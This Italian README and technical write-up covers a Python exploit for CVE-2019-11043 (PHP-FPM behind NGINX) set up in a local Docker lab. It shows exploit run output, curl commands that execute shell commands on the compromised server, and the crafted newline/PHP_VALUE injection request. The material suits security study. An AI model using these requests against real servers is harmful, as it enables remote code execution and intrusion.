
Exploit Python dockerizzato per CVE-2019-11043, una vulnerabilità critica di esecuzione remota di codice in PHP-FPM nelle configurazioni NGINX. Include setup, utilizzo e analisi dettagliata.
Un'implementazione Python dell'exploit CVE-2019-11043
L'exploit registrato come CVE-2019-11043 sfrutta un bug nell'implementazione di PHP-FPM in combinazione con un server NGINX. In determinate configurazioni, un'espressione regolare nel path_info di FastCGI causa la scrittura del modulo FPM oltre i buffer allocati nello spazio riservato ai dati del protocollo FastCGI. Di conseguenza, un utente web potrebbe essere in grado di eseguire codice in remoto. La tabella seguente mostra la valutazione della gravità dell'exploit secondo il Common Vulnerability Scoring System (CVSS).
| Metrica | Valore |
|---|---|
| Punteggio Impatto | 5.9 |
| Punteggio Base | 9.8 |
| Gravità | Critico |
| Vettore di Accesso | Rete |
| Riservatezza | Alto |
| Integrità | Alto |
| Disponibilità | Alto |
Immagini Docker:
Python:
È richiesta un'installazione di Docker e docker-compose per eseguire il progetto.
Eseguendo il seguente comando dalla directory principale del progetto, tutte le immagini docker necessarie dovrebbero essere scaricate e i container avviati nell'ordine corretto:
docker-compose up
Per eseguire la configurazione in modalità demone, esegui il seguente comando:
docker-compose up -d
Per arrestare un avvio in modalità demone, esegui il seguente comando:
docker-compose down
Esempio
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Questa vulnerabilità è stata trovata durante la Qualificazione del Real World CTF 2019, quando Andrew Danau, un ricercatore di sicurezza, ha scoperto che l'invio di un carattere di controllo nuova riga %0A provoca un'eccezione nel codice del server.
L'espressione regolare nella direttiva fastcgi_split_path_info può essere rotta utilizzando il carattere di nuova riga (in forma codificata, %0A). L'espressione regolare rotta porta quindi a un PATH_INFO vuoto, che innesca il bug. Poiché env_path_info è l'indirizzo della variabile path_info, path_info è 0 quindi anche pilen è 0. slen è la lunghezza dell'URL richiesto.

Utilizzando una lunghezza accuratamente scelta del percorso URL e della stringa di query, un attaccante può fare in modo che path_info punti precisamente al primo byte della struttura _fcgi_data_seg. Inserendo zero, il campo char* pos si sposta all'indietro, e successivamente FCGI_PUTENV sovrascrive alcuni dati (incluse altre variabili fast cgi) con il percorso dello script. Usando questa tecnica, la vulnerabilità permette di creare una variabile FCGI PHP_VALUE falsa e quindi utilizzare una catena di valori di configurazione accuratamente scelti per ottenere l'esecuzione di codice.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len è la lunghezza del percorso URL
http://localhost:11043/index.php/TUD%0aNetSec.php/var/www/html/index.php/TUD\nNetSec.phpptlen è la lunghezza del contenuto, prima del primo slash nel percorso URL
http://localhost:11043/index.php/TUD%0aNetSec.phppt è /var/www/html/index.phpLa differenza tra le due variabili "len" e "ptlen" è la lunghezza del percorso specificato nell'URL. Poiché il percorso di queste due può essere controllato, anche la variabile path_info può essere controllata.
Poiché il percorso è controllabile, possiamo impostare il valore di qualsiasi indirizzo a zero (Linea 1222). Impostando a zero il valore dell'indirizzo target, possiamo controllare il char* pos della struttura _fcgi_data_seg a zero. Con questo approccio sfruttiamo un buffer underflow e siamo in grado di scrivere variabili globali nello spazio di memoria corretto.
L'hash e la lunghezza vengono confrontati prima delle chiavi. Scegliendo attentamente le intestazioni e le chiavi giuste, possiamo aggiungere utilizzando le intestazioni. Secondo i risultati di neex, la stringa "ebut", che diventa HTTP_EBUT ha la stessa lunghezza e lo stesso valore FCGI_HASH di PHP_VALUE. Pertanto, inviando una richiesta GET al server simile a
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
l'intestazione HTTP_EBUT diventa PHP_VALUE e il valore session_start=1.
La seguente elenca i prerequisiti necessari che devono essere soddisfatti per eseguire l'attacco.